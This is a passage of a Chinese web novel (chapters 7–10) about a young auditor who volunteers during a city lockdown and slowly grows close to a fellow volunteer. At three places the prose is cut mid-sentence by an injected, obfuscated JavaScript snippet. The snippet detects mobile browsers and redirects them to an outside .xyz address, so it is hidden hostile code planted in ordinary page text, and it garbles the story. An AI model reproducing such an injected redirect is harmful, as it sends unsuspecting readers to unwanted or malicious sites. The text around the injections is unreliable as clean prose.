《双方蒙着面就恋爱了》 7. 逝去的歌 一觉醒来,季节的朋友圈里多了个红点。她睡眼蒙眬地点了进去,发现是小条给她前几天发的动态留了评论。当时季节第一次出楼核酸,排队时拍下了墙根下的野花,并在照片上添加一行不宜察觉的小字:夏天的梦是什么颜色的。那是她喜欢的一首歌的名字,由一支叫做彩虹的合唱团创作。小条在这条动态下说:“我也喜欢这个合唱团。” 季节在床上鲤鱼打挺,回复道:“有品味。”她心想这位保安或许受制于成长环境,没有受过太高的教育,却非常热爱艺术,果然民间有奇人。接着她又自我检讨,觉得自己不过是命好,念过书,不该对别人妄加点评。 迎着清晨的第一缕阳光,喝着新鲜冲泡的速溶咖啡,季节开了电脑,捋了一遍今天要做的杂碎,排出先后顺序。气沉丹田,静默片刻,季节缓缓睁开眼睛,突然抬手。 瞬息之间,手起指落,带起一阵风直冲门面。季节双手敲击键盘,上下翩飞,如同职业电竞手般疾风骤雨,又如行军的鼓点般急促激昂。 她的嘴角缓慢泛起一个快意的微笑。 做完本月第三个申报时,季节看了一眼楼栋群。三楼的人说:403邻居在家开视频会议吗?能不能小点声,我这边的视频会议都听不清了。 紧接着又有其他人说,我也在开,大家都小点声好不好,我刚才都听串台了。 季节今天运气尚可,一早上刷到了外卖,有荤有素,足够两顿的份量。只是一想到自己订到了两顿,就会有人订不到两顿,不免食之无味,好像抢了别人的食物。这饭菜本身味道也非常一般,像临时出道的作坊制作的。 吃着饭时,手机屏幕亮起了“徐医生”的来电。季节勉为其难地接了起来:“喂,妈。” 徐医生问:“你吃什么呢?” “抢来的外卖。”季节含糊地回答道,“你每天吃什么?” “都跟你说了不要总点外卖,就不能自己做吗?”徐医生显然不接受此等回答。 “我的锅太小啊,也没有好使的刀,顿顿煮清汤面条吃不饱。”季节又问了一遍,“你每天吃什么?” “吃过年时候的存货。” “……” 两人都沉默了一会儿,季节说:“那行吧,你想着把抽油烟机用塑料布糊上。”季节早就发现,风从一户的抽油烟机进入,顺管道来到另一户,四通八达地串门。所以她已经把自己的抽油烟机糊得严严实实的。 徐医生却说,反正我也不开抽油烟机。 季节耐着性子说:“不开也会灌风,串味就是这么来的,有时候你进厨房,是不是闻到别人家的炒菜味。” 那边答:“可是我不用抽油烟机。” 季节十分头痛地说:“下水口不用的时候也要盖上,你看每日确认的报告,动不动就是上下楼一溜都感染。” 徐医生说:“不要总订外卖。” “……” 停了一会儿,双方再也无话可说,只能挂了电话。季节长叹一声,烦躁地将苦咖啡一饮而尽,跟家里打了个电话竟比加班还累。 早九点五十五分,季节手头在做的底稿基本铺完。等待公盘打开的间隙,她漫无目的,陷入遐想,想起此刻应该正是大学时代的第三节课,那时她总是和瓶子坐前后桌,看着瓶子身穿深蓝色连衣裙的背影,喝着浓黑的像毒药一样的茶水。 在这满屋洒满阳光的回忆时刻,阳台上嗡鸣运转的洗衣机,突然排水管爆裂。在季节震惊的目光里,几十升水在地板迅速流动扩散,形成一层薄薄的积水潭。 从上午开始,季节抗击洪水,直到傍晚,耗费了两个窗帘,两个被单,一件破洞的线衣。由于事发突然,季节没吃早饭就上阵,狂擦猛拧,轮流将地面上湿透的大片布单拎起来,费力地对着水桶拧出污水。 拧完的布料铺回地上,立刻又湿透了,而季节无暇顾及,转而拎起下一张。很快,季节双臂颤抖,双手发沉。她低头看着一双陌生的手,手掌泡得发白发皱,完全不忍直视。她的手臂无力地垂挂下来,再也拧不动了。 不久,楼下502的女邻居上来敲门,说自己家的天花板在渗水。502把头伸进来看了一眼,就像被辣了眼睛一样缩了回去。“太可怕了,太可怕了。”她一个劲摇头,又反过来安慰季节,“别着急,我替你联系物业师傅,修一修。” 季节崩溃地说:“谢谢,谢谢。”然后低头用袖子擦了一把额头,把凌乱的碎发抹到一边。 维修师傅被封在家里,未能上门。季节吃了一个馒头,体力有所恢复,又回到屋里继续拧水。倒了两桶水,地面总算由深潭变成浅潭,季节勉强又拧了一遍,把布料铺回地上,来不及洗手就一头栽倒在床上,眼前发黑,脑中呼啸作响。 过了一会儿,季节睁开眼,发现时钟临近下午五点。她爬起来又吃了一个馒头,戴上口罩,准时下楼当班去了。 屋子里的一片狼藉,随着关门而暂时消失。季节决定让地面自然风干一晚,再去想办法做灾难之后的重建。 大门口人声鼎沸。这天晚间,小条始终没有出现。这天晚间,快递和外卖来势格外猛烈,把晚班志愿者团队砸得晕头转向。 “门口的”忙得不可开交,密集消毒,交流信息,来回奔走,互相撞到一起。“派送的”则拖着板车疾走,归来后立刻又出发,或是面对两个同时爆仓的货架游移不定,不知先帮哪个,拖着车原地转圈。 景文声嘶力竭地喊了一声:叫人!他神色与头发都很凌乱,仿佛身处漩涡中心,张开双臂,奋不顾身。 季节用小蓝衣的袖子抹了一把额头,腾出手在志愿者大群里发了一句:请问有谁能来大门口支援吗? 发出去的一瞬间,她想到了小条那模糊的半张脸。然而在和景文纠纷之后、在她当面大声骂了景文之后……他还会来吗?季节后知后觉地想,他不愿意来了,自己这骂了街的人,却还没事一样来了,毫无羞耻地在景文面前晃来晃去。 神游了半分钟,手机忽然震动两下,小条的私信跳了出来:需要我来帮忙吗? 他的头像不再是来生愿做一朵莲,而是换成了悲伤蛙,蛙嘴吐出气泡说:你懂个der。仿佛是在对那一晚的景文发出挑战。 季节握着手机,心里突然缓慢地安定下来。她刚想说需要,又想到他应该不想来看见景文的老脸。 恰逢此时,景文又在嘶吼,来了来了,迟到的人来了。 迟到的志愿者正在疯狂地穿防护装置,同时口中高喊着我来了,给我一辆板车。很快,驱车大爷也驾驶着小车远远地出现了。 季节迟疑了一下,还是回复说:“好像不用了,现在突然来人手了。”稍加斟酌,又矜持而得体地加了一句:“谢谢条总。” 条总哈哈一笑,说:“那就好。”于是季节收起手机,开始田径般的忙碌作业,忽然觉得头顶夜空无比晴朗。抬头一看,橙黄色的圆月悬挂在东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270450|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的高楼之间,像一张巨大的唱片,似乎一旦开始旋转,便会满世界都是旋律。 晚八点半,下班的季节回到家里。一开门,扑面而来的是石灰的呛人气味,墙角泡下来的白灰堆在角落。她呆立了一会儿,方才当班的快意骤然散尽,好像从一个热闹的梦境,重新跌回现实。 手机已经弹出了入会提醒,季节点了进去,听见老盆在会议里大呼小叫:“咬金哥,你人呢?今晚你不在,我们赢了一场!老凤的电脑坏了干不了活,他顶替的程咬金。瓶子临时有个文书要写,她还在卷。” 老凤幽幽地说:“我明天要把东西交给客户,现在电脑坏了,做一半的东西放在我本地,不在公盘,我不知道要怎么办。” 老D理解地问:“所以你用游戏麻痹自己?” 老凤静静地说:“哀莫大于心死。” 季节一言不发,有气无力地在群里发了一句:“碰到点事,回头再说。”然后就退出了会议,洗澡后回到床上躺倒,像一具暮气沉沉的死尸。 她不知道接下来会怎么样。洗衣机是不能再用了,恐怕要很长一段时间内手搓衣服。地上剩余的一层水久久不挥发,地板也在水面下开裂翘起。 在潮湿而呛人的屋子里,季节蜷缩在被子下,自暴自弃地刷着手机。手指不停划过的动作,就像一种宣泄和拯救。小条带来的一点温暖的感觉,在石灰房里荡然无存。 她还控制不住地想到,小条不喜欢景文,就不来当班了。如果换成是她不喜欢景文,她依旧会来当班,因为她想见到他。可是,他为什么不是同样的心呢? 既然如此,她还要期待着见到他吗?外企职工可以喜欢保安吗?他和她会有灵魂共鸣吗?如果去问几个狐朋狗友,老D会说你难道赚得比保安多很多吗? …… 种种不顺,堆积成块。季节很想和谁诉苦一番,但考虑到自己正处在情绪浓度的至高点,一开口恐怕要给人带去烦恼,于是决定等心情平复后,再去群里简单讲述。 一号楼的群里,隔壁601的哥们发了个链接,说是有地方在搞直播。季节想都没想就点了进去,发现是一场夜空音乐会。 夜幕之下,三座高楼,每个窗户都透出不同颜色的灯火,就像琉璃般的马赛克。人们的剪影在窗中忽隐忽现,竟像宝石上的暗纹一样。 歌声从户外广播中流淌而出,绕三座高楼盘桓,随波逐浪,最后向着晚星与夜幕飘摇而去。那首歌叫做《逝去的歌》,讲的是故去的人没有走远,也许就是吹向你的风或落向你的雨。在辽阔的夜空中,音乐变得更为宽广荒芜。 这是某区人才公寓的三座高楼,在封控期间整晚播放乐曲,为万千住户举办一场互不谋面的夜空音乐会,并向外界实况转播。季节通过手机收看了三分钟。在这三分钟里,季节像被吸进屏幕,浮沉其中,突然感受到无边悲凉,眼泪流了下来。 经历了漫长的一天,季节筋疲力尽,不知今夕何夕。她恐惧饥饿,也害怕孤独。她想起已经去世多年的奶奶,小时候有几年,父母工作调动到外地,她跟着奶奶住过。后来父母分开,她一年只能看见奶奶几次。整个童年几乎没有得到过父母的照顾和保护,一年见几次的奶奶成了唯一的温暖形象。 季节失神地盯着手机,早晨铺底稿时的昂扬已经荡然无存。她哭了起来,哭到后来已经累了。就在眼皮发沉的时候,手机忽然跳出一条消息: “能下楼吗?” 8. 午夜楼下见 季节对着手机陷入沉思。弹出的提示框里显示着小条的名字和头像,货真价实,毋庸置疑。只是她不甚明白为何要深更半夜叫她下楼,不是说志愿者不加班吗? 接着,她突然福至心灵,大受触动—— 楼下邻居帮忙找的维修师傅,莫非就是他? 她急忙划开对话,匆匆回复道:“你要上来吗?”发完以后,环视房间,处处发霉又呛人,隐约担忧他进来以后会无法忍受,认为季节日常居住环境恶劣,卫生条件堪忧。 对面静止了片刻,状态反复显示“输入中”,最后只发出两个字:“下楼。” 季节忐忑地说:“好的,我来了。”随即戴上口罩,沿古老楼梯匆匆而下。从走廊窗户的倒影里,她瞥见自己穿着吊带睡裙的身影在夜幕下一晃而过,及膝的裙子像倒扣的郁金香一样,随着步伐轻轻飘荡。 跑出楼门口,一眼看见小条单手插兜,静静站在自行车棚边等她。见她披头散发地跑来,他愣了一下,目光在她身上飘忽游移,又转头看向地面。他也戴着口罩,不过没有戴那顶标志性白色棒球帽,头发随意地立着。 季节在他面前站定,仰起脸问:“你是来修水管的吗?” “?” 见他迷惑地看着自己,季节说:“那个维修师傅不是你吗?哦,我就说么,你不是做保安吗,怎么又兼职维修师傅了,哈哈哈……”哈了几声,在他无语的凝视下,再也哈不出来。 “说说吧,”他微微猫下腰来,看了看季节红肿的眼睛,“怎么了?” 季节从没在别人面前流过眼泪,即使是瓶子也没见过她啼哭的样子。她别过脸,含糊地说:“这是呛得,呛得眼睛有点疼。” “呛的?”他顿了一下,缓缓说道,“我今晚,在加班,所以没来当班。” 季节一怔,心中突然无比轻松,无比欢欣。她的眼睛微微弯了起来:“我今天白天开洗衣机,水管炸了,发了大水,把墙上的白灰都泡下来了,我好像白灰过敏。”说着云淡风轻地碰了碰眼皮。 “白灰过敏啊。”他慢悠悠地说道,“白灰过敏可难受了。” “是的。”她点点头,“还好已经清理得差不多了。” “我长得很像维修师傅吗?”小条的眼神充满了戏谑,“不过也可以免费帮你看看。” “没事,明天我问问我们104大哥,看他手里有没有备用水管能借我一根。”季节不想让他看见一地狼藉,就客气地婉拒了,“你来找我,是不是出什么事了?” 他举起手机给季节看:“可不是出事了。” 季节定睛一看,倒吸一口冷气。屏幕上,991-1-602-季节给小条发了一句欲说还休的、充满引诱意味的话语:碰到点事,回头再说。 她抬起头来,发现他正低头看着她,一双狭长的眼睛似笑非笑。季节朴实地说:“对不起,发错人了。” 那双狭长的眼睛微妙地冷了下去,变得疏离而淡漠。他收起手机,转身就要迈步:“没事我就走了。” “别走!”季节立刻拉住他的衣角,又马上松开,“我刚洗过手的。” 他转头盯着季节:“有什么话要跟我说?” 季节想了一下,尴尬地说:“也没有。” “走也不行,留也不行。”他无奈地看着季节,声音却十分轻柔,“想要我干什么?” 想到他深夜折腾一趟,季节为表达感激,诚心诚意地说:“我护送你回去。” 他哦了一声,懒洋洋地说:“走吧,小保安。” 两人并肩走在昏暗的道路上,季节忽然觉得奇怪:“保安也要居家加班吗?”问完以后,又觉得多有冒犯,急忙解释道:“我在想你是不是谁的贴身保镖,要在他床头站岗的那种……?” “噢。”他漫不经心地说,“我是投行的。” “……” 他移开目光,看向别处,低声说:“所以你当时问我知不知道乙方,我真是心里一颤。你说我知不知道。” “彼此彼此吧,投行是乙方,我们事务所是丁方。”季节一忍再忍,突然忍不住揭发,“那你还跟我说你是保安!” “都差不多。” 想到自己已经误解和埋怨过他,季节生怕再挑起事端,就尽量十分谅解地说:“是你们的黑话吗?”他嘀咕着说了一声,算是吧。 既然大家都是混金融圈的,说话就随便多了。季节兴致很高:“你是具体做什么的?” “我是做业务的,天天改小朋友的报告。”他还记得那天季节问她的话,“你问我是不是在附近工作,我就在你们事务所对面的楼里。” 季节笑了笑:“可惜我辞职了,要不然还能偶遇你。” 聊了些七七八八的圈内术语,季节其实都听不懂,果然隔行如隔山,哪怕同在一个大金融圈也不行。她似懂非懂地噢了一声,然后诚实地说:“不懂。” “……” 季节极力在记忆中搜刮着对于这一行的理解,没话找话地问:“你们要跑模型吗?” “要的。我本科就是学编程的。” “要出差吗?” “要的。如果不封控,我应该在出差。” 季节恍然大悟,钦佩地点着头,然后就问不出其他了。这种不学无术、信息闭塞的样子,让她略感没脸。他好像看出了季节的心思,温和地问:“这是你第一份工作吗?” “是第一份,做了三年多吧。”季节如实答道。 他转过头来,向下俯视着季节的上半张脸,微微惊讶地说:“那你好小啊。” “……” 有一回老D也用惊讶的口吻说过这话,因为季节上学比别人早。季节当时就卷了他一脚,质问道,我看起来很老吗? 可是小条似乎真的很惊讶。晚风吹起,又停了,他还在看着季节的脸,深邃的眼睛第一次睁得很大。季节稳重如山,未置可否,从容发问:“那你工作几年了,现在是什么级别?” “怎么,面试我啊。”他轻轻一笑,而后回答自己工作六年,职级为某某。季节想了想,诚实地说:“其实我不了解你们的职级,问也记不住。”当然,她又客套地补充两句:“太厉害了,年轻有为。” 他也象征性地说:“哪里,哪里,呵呵。” 季节突然停住脚步,茫然地看着四周的楼。一半窗户透出灯光,另一半已经入眠,三街坊的王国中静悄悄的。她转向小条:“这是走到哪了?”她记得小条也住991弄那一片,但现在显然已经深入到某个弄的大后方。 “不是跟你走的吗。”小条闲适地回答道,声音里甚至带着淡淡的笑意。 “我对小区不熟啊。”季节张口结舌,“我随便走的。” “前面,右拐,回头,就行了。”他终于开始带路。季节跟在他身边亦步亦趋走着,沿途黑影林立,二人一时无话。 他似乎犹豫了很久,轻声问道:“那条消息,本来要发给谁啊。” “发给王者荣耀升星俱乐部,”季节不吐不快,“就是我大学的狐朋狗友群。” “狐朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270451|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗友群。”他学着季节的语调重复了一遍,明显心情有所好转。 季节刚想一一介绍,只听某处树丛嚓嚓乱响,似是有沉重脚步踏过,不像是野猫或黄鼠狼来去。 冷不防在黑夜里碰见闹鬼般的动静,季节吓了一跳,嗖地一下横跳过去,挨近了小条的身边。小条正好伸出手来拉她,两相迎合,他的手臂挽上了她的腰。 树丛中的那号人物停住了动作,似乎也发现了这边站着两个人。季节睁大眼睛,紧紧盯着树丛,双方僵持不下,一时间谁也不敢轻举妄动。 小条笑了一声:“好了,走吧。” 季节迟疑地踏出一步,不确定是不是有人封在家中,饥饿到无法忍受,出来拦路抢劫。他的手还环绕在她的腰间,臂弯里拥护着她的背影。季节后知后觉地感到他的皮肤微微发烫。 定了定心神,季节对他说:“不用害怕,咱们也没什么值得抢的。” “那你保护我吧,”他的声音从头顶传来,“小保安。” 两人往前走去,离未知的劫匪越来越近。树丛安静了片刻,忽然喀啦一声,枝叶乱飞,一个人冲了出来,沿小路狂奔远去。那人的手里,还拎着一个羽毛球拍。 “……” 一颗羽毛球静静躺在树下,形单影只。季节松了一口气:“这个……是被关疯了。” “恩。”他他的手臂慢慢收了回去,忍着笑说道,“也说不定是要拿球拍拦路打劫哦。” “算了,跟你们不懂犯罪的人扯不清。” “哦,你还懂犯罪哦。” 季节高傲地向前走去,被他轻轻拉了回来。他好像拿她没有办法:“又走错了,这边。” 走着走着,回到了季节住的1号楼。季节心想,这下又要把他送回去,搞不好他又要把我送回来,然后我再把他送回去…… 小条却显然没准备如此循环往复:“进去吧。” 季节也不再装客气,对他挥挥手就跑上大门前的台阶。忽然听见他在背后问了一句:“心情好点吗?” 她回过头来,恰好对上了他的眼睛,那双眼睛灿若繁星。 这一夜的梦里都是石灰的味道,和他身上的温度。第二天醒来,天色灰蒙蒙的,季节跳下湿气笼罩的床,擦去地板上隔夜的水渍,开始勤勤恳恳地刷外卖。 王者荣耀升星俱乐部里,老D贴心地问:“凤啊,被开除了吗?” 老凤沉闷地说:“跟客户解释了,客户去和工商沟通,看能不能推迟提交材料。” 季节向他表示了祝贺,又简明扼要地阐述了自己与汪洋搏斗的场面,认为自己的水景房连累了楼下邻居。老D说,花果山福地,水帘洞洞天,这房东不得涨价? 瓶子忧虑地说,这下怎么洗衣服,特别是外出回来脱的衣服必须马上洗,一会儿又要下楼核酸了。 老盆说,手搓呀,或者用脚踩。 季节说,脚踩听起来不错,可以一试。 咽下最后一口早饭,她觉得又撑又乏,就立刻毫不犹豫地在床上躺下来。自言自语道,怎么吃个饭累成这样。居家办公最大的好处,就是没事时候可以躺着。平时早出晚归,马不停蹄,一整个白昼多么漫长。 狐朋狗友们讨论了一会儿游戏战术,窗外传来风吹香樟树的声音。再过几天,满街都将飘荡着香樟开花的清凉甜味。他们曾在树下成群结队地漫步,对霓虹大道的每个角落和每一处细微变化了如指掌。 比香樟花更早到的,是一条来自小条的消息:过几天晚上,有好玩的。 9. 群山的队列 清明谷雨之间,天地昏沉,石阶湿润,人们都说今夜一定有场大雨。季节下午四点半就把电脑合上了,美其名曰切断电脑信号,以免被雷电劈中。她用咸菜煮面条时,小条的消息如云中传音般乍现:今晚来当班吗?政府物资到了。 季节心领神会,扔下筷子,言简意赅地回了一个字:来! 她想象着卸物资的情景,这大概就是小条预告中那件“好玩的事”。 小条为人低调隐秘,从不在任何群里发言,就连有两次临时担任门口的,也是让别人代为发布派送消息。季节当时压制再三,才没开口问他是不是手机话费不够了。这回他却消息灵通,简直让季节怀疑他去什么地方卧底了。 面条出锅后,季节刚尝了一口,就大骂一声:靠! 她立刻后悔没去跟104借盐。用咸菜煮出来的面条味道奇特,一根根面条完全没借上咸淡。好在冰箱里还有一个咸鸭蛋,她就着咸鸭蛋吃完了面条,来不及刷碗,就下去当班了。 今晚大门口的人手格外多,一部分人照常接待和派送快递,另一部分人在等待调遣。每个人都严密地蒙面,有人戴了两个蓝色医用口罩,有人口罩外面叠加透明塑料面罩,有人不知从哪弄来手术帽子戴在头上。 小条像一座白塔,高高地站在路边石上,他今天穿着严密的大白防护服。 季节穿戴好小蓝衣和手套,迎着他的目光走了过去。他从台阶上轻轻跃下来,低头看着季节。季节率先开口:“条总,我举报,你总是用鼻孔鸟瞰我们。” 小条笑了两声,说:“瞎说。你看得见我鼻孔吗?” 季节嘻嘻一笑,继续胡说八道:“条总的眼睛看我们,大概就是航拍的效果。” 随意谈笑两句,季节就去自觉地帮门口的消毒,又往派送板车上码货,行云流水,一气呵成,来去如游龙,简直跟在自己家里一样。 小条慢悠悠地踱了过来,告诉季节:“今晚党员都出来了,为了接物资。”季节看着周围的人群,他们都在彼此交谈,点头,预测物资的内容,展望解封的时间。 一派欣欣向荣的气候里,季节抬起头问他:“物资什么时候来呢?” 他抬起手腕看了一眼手表,说:“五分钟之前他们在路口那个慈善超市,现在应该快到了。” 季节觉得抬头太累,于是一步登上台阶,与他平起平坐。目光交汇,小条顿了顿,移开了视线。 季节刚想再问他点什么,他的手机就响了。他接起来说了几句,就向大门外走去,不忘回头对季节说:“来了。” 一辆巨型卡车缓缓驶来,停在三街坊门前。小条瘦高的白色身影迎了上去,与司机和随行的工作人员确认货品和数目,往一张单子上签着什么。其举止派头从容不迫,令季节发觉他可能是党员中的核心人物,因而对此次流程了如指掌。 花泽类队长带着一排壮汉站在他身后,个个拖着板车,竟像一群蓄势待发的劫匪。本杰明也在其中,他正和队长说:“一会儿我要是腰不行了,就换个派送的过来顶上。” 队长凉薄的声音说:“男的不能说不行。”说完,他俩勾肩搭背,一起发出快意的笑声。 小条那里已经确认好了信息,回头对季节招招手:“过来帮我点数。”季节扬起明亮的脸,轻巧利落地跑过来,眼中光芒四射。小条似乎对她笑了笑,温声说:“先点出1500份。” 车厢后门打开,季节探头望去,车厢里堆着无数纸箱和塑料袋,满满当当,如同一座辽阔的仓库。季节目测车厢的长宽及举架,心想这车厢面积比我租的房子都大。 小条已经一步跃上车厢,队长也紧接着跳上去。随车的工作人员强调说:“每家发一个纸箱加一个塑料袋,两样加起来是一份。” 季节说:“好!那就先卸纸箱。” 小条踏入车厢深处,队长留在车厢边缘。小条搬起纸箱递给队长,队长再递给车厢外的壮汉,壮汉将纸箱码在板车上,如此传递不息。 第一板车装了六乘七个纸箱,又强行在最上层压了两个,由壮汉一号拖走。随即第二板车和壮汉二号就位,与车厢无缝对接。大小板车轮流交替,少则能装二十个,多则能装六十个。大门口的封带已经暂时移除,货架和棚子也如同门扇般向两侧转开,让出一条运输政府物资的通道。 小条一言不发,不停地俯身搬起沉重的纸箱,转身交给队长,再回身长臂一捞,重复下一次循环,行动中充满了弓箭般引而不发的张力。季节突然想起了上学时背的笠翁对韵,过天星似箭,吐魄月如弓。 箱子摞到板车上的一瞬间,即被季节算入数目,拖走前的一瞬间再查一遍是几乘几箱。由此,每辆板车上码的货都被季节快速清点两遍,点出来的数字直接累加在手机计算器上,以便实时监测总数。 一个志愿者小伙作为小条的副将,协管现场秩序,帮着壮汉装车,调度每辆板车去向,及时召回出清的板车。小伙说他叫马克,马克笔的马克。他说话带有京津一带的腔调,叫小条的时候口吻亲热,一口一个“条儿慢点”。 众多志愿者大展身手,如疾风过境,卷起无数箱子。上半场搬完,小条和队长下来稍作休整。季节把手机举给小条看:“现在是986箱。” 小条就着季节的手看了一眼,说:“好,一会儿继续搬,先去看看他们分派得怎么样了。”说完,带着季节走回到三街坊大门之内。季节自己去人群中钻来钻去了,小条忙着和三街坊各个里弄的头头核对数目。 每趟板车拉过来的货,先卸在大门内的空地上,堆积成山,几个志愿者拿着壶喷洒消毒水。与此同时,各个弄的志愿者热火朝天,如开山般从山中取出若干箱,用板车、自行车或手提肩扛的方式转运到各个弄的空地上。 季节很快就看出逻辑,心想大门口是爷爷山,各个弄是爹爹山。最后由志愿者将若干份物资以各种意想不到的方式运输到楼前,由各个楼的楼长分配到户,季节自言自语,每户发一个孙子。层层下放,架构明确,如扇面由窄至宽地延展开来,人来人往却丝毫不乱。 160这类里弄的户数较少,箱子堆了两片空地。991这样的里弄人口多,环该片区域到处都堆满,无从下脚,只能先让某些楼长领回去一批,再搬来下一批。 运输工具已经全面告急,两个姑娘正抬着几个箱子步行去某弄的空地。驱车大爷整晚在小区中蛇形驾驶,还有两个大哥也开着自己的车过来了。季节和大伙一起七手八脚地把纸箱摞进后备箱,又往后座上也放了几个,直到装不进去为止。 一个戴眼镜的大姐轻咤一声:“全体都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270452|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,130弄还差47个,搬来!”四周一圈志愿者立即加快动作。有个瘦弱沉默的女孩试图独自搬两个箱子,季节三步两步跑上去,托住她的箱子底,对她一扬下巴,微微一笑。 女孩感受到季节在笑,似乎也对季节笑了一下。两人一起抬着纸箱送到130的那座小山上,一趟接一趟。眼镜大姐是130弄的控场人员,一边计算运来的数,一边统计已领走的数,左右逢源,面不改色,同时不忘联系其余楼的楼长过来领货。 大门口的几座爷爷山已经变得矮小狭长,看起来可以继续去货车上卸货了。季节抬头寻找小条的身影,发现他就站在不远处看着自己。他的目光穿越了重重人影热浪,深深地凝视着她。她不知道他是什么时候开始望向自己的,也或许他的眼睛一直追随着她? 季节回到他身边,他看起来很悠闲地问:“一转头你就去干活了?” 季节抖着胳膊腿感慨地说:“是啊,我是劳碌命,越夜越美丽。”小条轻声一笑,领着她走回货车车厢前。花泽类队长和拖车的壮汉们已经严阵以待。 小条重新跳上车厢,季节突然问:“我能不能也进去搬?” 小条挑了一下眉毛,好像觉得既有趣又难办,转头对马克说:“有女生想进车里搬箱子,你是现场协管的,你决定吧。” 马克刚和花泽类队长对换角色,准备上车搬箱子,他听了以后回头笑着对季节说:“这么多爷们儿呢,还用女生搬?”接着对小条说:“来,条儿,开整。” 两人一唱一和,看来是不会让她上车了。小条心思深沉,由此可见一斑,这一手花招真乃妙计,虽不曾亲口拒绝季节,却借马克之手将她挡在车外。季节只好识相地说,那你们慢点,别闪着腰。 那片深不见底、举架轩昂的车厢内部像一座幽暗的废弃的游乐场,自此成为季节从未涉足的神秘领地。 新一轮传递装车开始,季节拿着手机计算器,兢兢业业地计数。到第1500箱的时候,季节把头探到车厢里喊他:“条儿,1500了。” 小条从车厢深处走出来,扶着车门框单膝跪地,轻咳一声:“还是别这么叫了。” 季节把计算器举到他眼前,他说了声好,音色清朗无比。然后他起身利落地跳下来,对拖着板车归来的花泽类说:“上去替我会儿。” 花泽类进了车厢,和马克打配合。小条接替花泽类,统筹各辆板车的来来去去,不时转头和押车的工作人员说几句。季节专心致志地查数时,隐约听见男工作人员对女工作人员说:“怎么样?人家小哥帅气吧?你这趟来了不亏吧?……” 女工作人员嘻嘻笑着说:“你又没见过人家小哥摘了口罩的样子。”说完可能觉得有失礼貌,就对小条说:“我们打赌吧,我赌你长得好看,赌赢了我给你钱,赌输了你给我钱。” 季节发现自己颅内的齿轮异常灵敏清明,自动分化为两条线运转着,一条线在有条不紊地计数,另一条线在听着这边的动静。 小条轻轻回头看了一眼季节,对那位女工作人员说:“我没钱,你找那个计数的姐姐要钱吧,她有钱。” 季节微微一愣,脸上缓慢浮现出不易察觉的笑容,她的口罩又笑上去了,边缘戳到了眼睛里。当然,她从始至终都没有回头,也没有查错一次数。 10. 夜幕街头的华尔兹 三街坊居民总共五千多人,三千多户,一户一箱,共计三千多箱。在一千五百份之后,又是另一个一千五百份。 随着计算器上加总的数字逐渐临近终值,季节的大脑也加速旋转,随时倒算还剩多少箱,以免多搬。车厢里的份数有富余,季节小心谨慎控场,防止多拿多占。 小条在和随车人员确认着什么,季节隐约听见只言片语,下一车什么时候来,共几趟,如此这般。这会儿季节无暇顾及太多,本杰明正在她眼前装车,稍显力不从心,码货速度稳步下降。 季节连忙冲上去夺过他手里的箱子,同时口中殷勤地说:“你腰间盘是不是不行了?”箱子一半重量转移到季节手上,陡然下沉,季节急忙死死托住。 本杰明兀自痛惜地说:“是呢!我腰不行。”两人一起抬着一箱,摆到板车上。小条察觉到这边的变动,向大门里喊了一声:“来个男生!” 大门里一个告诉一个:“传下去,谁有空去卸货车,要青年男士。”小条已经走到季节身边,轻轻挡住她再度伸出的手:“让男生来吧。” 季节敷衍地哼哈答应着,试图把板车最上层的一个箱子往后推,好腾出地方再放一个,同时分出一只眼睛计算着本杰明新摞上来的数目。箱子约有四十斤,在她的推力下几乎纹丝未动。 看得小条无意中叹了口气:“唉呀……我来吧。”说着就把季节挡在身后,自己将沉重纸箱一一码齐。 季节执着地踮起脚监察板车方面的情况,一双眼睛越过他的肩头望着,嘴里还在念念有词地清点箱数:“二十八,二十九……” 小条已经将车上的纸箱码好,看似是正方体的箱子,其实宽度和高度略有不同。有个原本立起来的箱子被他放平,顶层水平面找齐,能再压一层。他自言自语:“沃日,这还是个榫卯结构。” 一车已经装满,季节低头在计算器上摁完数字,长舒一口气,才发现他的手臂微微发抖。季节猛然想起,今晚他几乎搬过了所有的箱子。 就在这时,前来援助的马克匆匆赶到,替换小条,本杰明的腰间盘也有所好转。传递速度剧增,季节也心神飞转,聚精会神,将几个码货者时而同步时而错落的动作全部纳入统计数字。急弦乱风之中,她感觉小条仍然站在一旁看着她。 “还有最后五箱!”季节提高嗓音做出预报,简直像在宣布再过五分钟就要全城解封。整条传递链发出欢呼和回应,小条和季节一起看着板车倒数:五,四,三,二,一。 最后一辆板车被本杰明拖向爷爷山。马克和队长从车里跳了出来,和其余几个壮汉站到一起,快活地骂着人,彼此握手拍肩,惬意地迎向晚风,每个人都托着腰间盘。 